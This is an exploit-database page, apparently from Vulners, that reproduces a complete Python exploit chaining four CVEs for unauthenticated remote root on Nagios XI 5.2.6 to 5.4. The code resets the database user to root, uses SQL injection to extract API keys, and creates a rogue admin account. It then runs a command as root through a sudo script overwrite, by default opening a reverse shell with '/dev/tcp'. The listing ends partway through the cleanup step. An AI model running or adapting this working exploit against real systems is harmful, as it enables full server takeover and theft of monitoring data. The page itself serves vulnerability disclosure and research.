Lucene search
K

Nagios XI 5.x Chained Remote Root

🗓️ 30 Apr 2018 00:00:00Reported by Benny HustedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 330 Views

Nagios XI 5.x Chained Remote Root Exploit allows remote attackers to gain root access by leveraging multiple vulnerabilities including CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, and CVE-2018-8736. It involves changing the database user to root:nagiosxi, obtaining an API key with SQL injection, adding an administrative user using the API key, performing authenticated remote code execution (RCE) with privilege escalation, and cleaning up

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nagios XI 5.2.[6-9], 5.3, 5.4 - Chained Remote Root Exploit
1 May 201800:00
zdt
0day.today
Nagios XI Chained Remote Code Execution Exploit
30 Jun 201800:00
zdt
ATTACKERKB
CVE-2018-8733
18 Apr 201800:29
attackerkb
ATTACKERKB
CVE-2018-8735
18 Apr 201800:29
attackerkb
ATTACKERKB
CVE-2018-8736
18 Apr 201800:29
attackerkb
ATTACKERKB
CVE-2018-8734
18 Apr 201800:29
attackerkb
Circl
CVE-2018-8733
30 Apr 201800:00
circl
Circl
CVE-2018-8734
30 Apr 201800:00
circl
Circl
CVE-2018-8735
30 Apr 201800:00
circl
Circl
CVE-2018-8736
30 Apr 201800:00
circl
Rows per page
`# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root  
# Date: 4/17/2018  
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith  
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413  
# Vendor Homepage: https://www.nagios.com/  
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova  
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4  
# Tested on: CentOS 6.7  
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736  
  
import httplib  
import urllib  
import ssl  
import sys  
import base64  
import random  
import time  
import string  
import json  
import re  
from optparse import OptionParser  
  
# Print some helpful words:  
print """  
###############################################################################  
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root  
This exploit leverages the vulnerabilities enumerated in these CVES:  
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]  
  
More details here:  
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html  
  
Steps are as follows:  
  
0. Determine Version  
1. Change the database user to root:nagiosxi  
2. Get an API key w/ SQLi  
3. Use the API Key to add an administrative user  
4. Login as that administrative user  
5. Do some authenticated RCE w/ privesc  
6. Cleanup.  
###############################################################################  
"""  
# TODO: Figure out what port it's running on, 80 or 443.  
  
def parse_apikeys(resp):  
begin_delim = 'START_API:'  
end_delim = ':END_API'  
  
start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]  
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]  
  
unique_keys = []  
  
for i, index in enumerate(start_indecies):  
start_index = index + len(begin_delim)  
end_index = end_indecies[i]  
key = resp[start_index:end_index]  
if not key in unique_keys:  
unique_keys.append(key)  
  
return unique_keys  
  
def parse_nsp_str(resp):  
begin_delim = 'var nsp_str = "'  
end_delim = '";\n'  
  
start_index = resp.find(begin_delim) + len(begin_delim)  
resp = resp[start_index:]  
end_index = resp.find(end_delim)  
  
return resp[:end_index]  
  
def parse_cmd_id(resp, cmdname):  
  
begin_delim = "'"  
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)  
  
end_idx = resp.find(end_delim)  
  
resp = resp[:end_idx]  
resp = resp[resp.rfind(begin_delim)+1:]  
  
return resp  
  
def parse_nagiosxi(resp):  
resp = str(resp)  
begin_delim = 'Set-Cookie: nagiosxi='  
end_delim = ';'  
  
# find the last instance of the nagiosxi cookie...  
start_index = resp.rfind(begin_delim) + len(begin_delim)  
resp = resp[start_index:]  
end_index = resp.find(end_delim)  
  
return resp[:end_index]  
  
def parse_version(resp):  
resp = str(resp)  
begin_delim = 'name="version" value="'  
end_delim = '"'  
  
start_index = resp.rfind(begin_delim) + len(begin_delim)  
resp = resp[start_index:]  
end_index = resp.find(end_delim)  
  
return resp[:end_index]  
def change_db_user(usr, pwd, step):  
  
url = '/nagiosql/admin/settings.php'  
headers = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded'}  
  
params = urllib.urlencode({  
'txtRootPath':'nagiosql',  
'txtBasePath':'/var/www/html/nagiosql/',  
'selProtocol':'http',  
'txtTempdir':'/tmp',  
'selLanguage':'en_GB',  
'txtEncoding':'utf-8',  
'txtDBserver':'localhost',  
'txtDBport':3306,  
'txtDBname':'nagiosql',  
'txtDBuser': usr,  
'txtDBpass':pwd,  
'txtLogoff':3600,  
'txtLines':15,  
'selSeldisable':1  
})  
  
print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)  
print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)  
  
con = httplib.HTTPConnection(RHOST, 80)  
con.set_debuglevel(0)  
con.request("POST", url, params, headers=headers)  
  
resp = con.getresponse()  
con.close()  
  
return resp  
  
# Disable SSL Cert validation  
if hasattr(ssl, '_create_unverified_context'):  
ssl._create_default_https_context = ssl._create_unverified_context  
  
# Parse command line args:  
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\  
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-r", '--RHOST', dest='rhost', action="store",  
help="Target Nagios XI host")  
parser.add_option("-l", '--LHOST', dest='lhost', action="store",  
help="Host listening for reverse shell connection")  
parser.add_option("-p", '--LPORT', dest='lport', action="store",  
help="Port on which nc is listening")  
parser.add_option("-c", '--cmd', dest='cmd', action="store",  
help="Run a custom command, no reverse shell for you.")  
  
(options, args) = parser.parse_args()  
  
if not options.rhost:  
parser.error("[!] No remote host specified.\n")  
parser.print_help()  
sys.exit(1)  
  
RHOST = options.rhost  
LHOST = options.lhost  
LPORT = options.lport  
if options.cmd:  
cmd = options.cmd  
else:  
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)  
  
################################################################  
# REQUEST ZERO: GET NAGIOS VERSION  
################################################################  
  
url0 = '/nagiosxi/login.php'  
headers0 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded'}  
  
print "[+] STEP 0: Get Nagios XI version string."  
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)  
  
con0 = httplib.HTTPConnection(RHOST, 80)  
con0.set_debuglevel(0)  
con0.request("POST", url0, headers=headers0)  
r0 = con0.getresponse()  
  
r0_resp = r0.read()  
version = parse_version(r0_resp)  
ver_int = int(version.split('.')[1])  
  
con0.close()  
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)  
  
################################################################  
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT  
################################################################  
  
  
r1 = change_db_user('root', 'nagiosxi', '1')  
  
if r1.status == 302:  
print "[+] STEP 1: Received a 302 Response. That's good!"  
else:  
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))  
exit()  
  
  
################################################################  
# REQUEST TWO: GET THE API KEY USING SQLi  
################################################################  
  
print ""  
url2 = '/nagiosql/admin/helpedit.php'  
headers2 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded'}  
  
# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.  
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"  
print sqli_param  
  
params2 = urllib.urlencode({  
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),  
'hidKey1':'common',  
'selInfoKey2':'free_variables_name',  
'hidKey2':'',  
'selInfoVersion':'',  
'hidVersion':'',  
'taContent':'',  
'modus':0,  
'':''  
})  
  
print "[+] STEP 2: Exploiting SQLi to extract user API keys."  
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)  
  
con2 = httplib.HTTPConnection(RHOST, 80)  
con2.set_debuglevel(1)  
con2.request("POST", url2, params2, headers=headers2)  
r2 = con2.getresponse()  
  
if r2.status == 302:  
print "[+] STEP 2: Received a 302 Response. That's good!"  
else:  
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))  
exit()  
  
con2.close()  
  
r2_resp = r2.read()  
api_keys = parse_apikeys(r2_resp)  
random.shuffle(api_keys)  
  
if len(api_keys) > 0:  
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))  
for key in api_keys:  
print "[+] {0}".format(key)  
else:  
print "[!] No API keys found! Oh no. Exiting..."  
exit()  
  
  
################################################################  
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER  
################################################################  
  
print ""  
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'  
headers3 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded'}  
  
# Generate the sketchiest username possibe :D  
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))  
# And also the worlds best password  
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))  
  
params3 = urllib.urlencode({  
'username':sploit_username,  
'password':sploit_password,  
'name':'Firsty Lasterson',  
'email':'{0}@localhost'.format(sploit_username),  
'auth_level':'admin',  
'force_pw_change':0  
})  
  
print "[+] STEP 3: Using API Keys to add an administrative user..."  
  
found_it = False  
for i, key in enumerate(api_keys):  
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)  
print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)  
  
con3 = httplib.HTTPConnection(RHOST, 80)  
con3.set_debuglevel(0)  
con3.request("POST", url3_try, params3, headers=headers3)  
r3 = con3.getresponse()  
r3_contents = r3.read()  
  
if r3.status == 200:  
print "[+] STEP 3: Received a 200 Response. That's good!"  
if "was added successfully" in r3_contents:  
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)  
print "[+] STEP 3: Moving to Step 4...."  
found_it = True  
con3.close()  
break  
else:  
"[!] STEP 3: API_KEY access was denied. That's bad."  
continue  
else:  
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))  
continue  
  
print "[!] STEP 3: Failed to add a user. Try some more API keys..."  
con3.close()  
  
if found_it == False:  
print "[!] STEP 3: Step 3 failed.... oh no!"  
  
################################################################  
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER  
################################################################  
  
print ""  
print "[+] STEP 4.1: Authenticate as user TODO."  
print "[+] STEP 4.1: Get NSP for login..."  
url4p1 = '/nagiosxi/login.php'  
headers4p1 = {'Host' : RHOST}  
params4p1 = ""  
  
con4p1 = httplib.HTTPConnection(RHOST, 80)  
con4p1.set_debuglevel(0)  
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)  
r4p1 = con4p1.getresponse()  
  
r4p1_resp = r4p1.read()  
  
login_nsp = parse_nsp_str(r4p1_resp)  
login_nagiosxi = parse_nagiosxi(r4p1.msg)  
  
con4p1.close()  
  
print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)  
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)  
  
# 4.2 ---------------------------------------------------------------  
  
print "[+] STEP 4.2: Authenticating..."  
  
url4p2 = '/nagiosxi/login.php'  
headers4p2 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}  
params4p2 = urllib.urlencode({  
'nsp':login_nsp,  
'page':'auth',  
'debug':'',  
'pageopt':'login',  
'username':sploit_username,  
'password':sploit_password,  
'loginButton':'',  
})  
  
con4p2 = httplib.HTTPConnection(RHOST, 80)  
con4p2.set_debuglevel(0)  
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)  
r4p2 = con4p2.getresponse()  
r4p2_resp = r4p2.read()  
authed_nagiosxi = parse_nagiosxi(r4p2.msg)  
con4p2.close()  
  
print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)  
  
# 4.3 ---------------------------------------------------------------  
  
print "[+] STEP 4.3: Getting an authed nsp token..."  
  
url4p3 = '/nagiosxi/index.php'  
headers4p3 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}  
params4p3 = ""  
  
con4p3 = httplib.HTTPConnection(RHOST, 80)  
con4p3.set_debuglevel(0)  
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)  
r4p3 = con4p3.getresponse()  
r4p3_resp = r4p3.read()  
authed_nsp = parse_nsp_str(r4p3_resp)  
con4p3.close()  
  
print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)  
  
################################################################  
# REQUEST FIVE: Excute command  
################################################################  
  
print "[+] STEP 5: Executing command as root!..."  
url5 = '/nagiosxi/backend/index.php?'  
headers5 = {'Host' : RHOST,  
'Content-Type' : 'application/x-www-form-urlencoded',  
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}  
  
privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)  
privesc_cmd = "$(" + privesc_cmd + ")"  
  
url5 = url5 + urllib.urlencode({  
'cmd':'submitcommand',  
'command':'1111',  
'command_data':privesc_cmd  
})  
  
con5 = httplib.HTTPConnection(RHOST, 80)  
con5.set_debuglevel(0)  
con5.request("POST", url5, headers=headers5)  
r5 = con5.getresponse()  
  
r5_resp = r5.read()  
con5.close()  
  
if r5.status == 200:  
print "[+] STEP 5: Received a 200 Response. That's good!"  
else:  
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))  
exit()  
  
print "[+] STEP 5: Successfully ran command. We're done?"  
  
  
################################################################  
# REQUEST SIX: Cleanup  
################################################################  
  
print "[+] STEP 6: Cleanup time"  
  
r1 = change_db_user('nagiosql', 'n@gweb', '6')  
  
if r1.status == 302:  
print "[+] STEP 6: Received a 302 Response. That's good!"  
else:  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation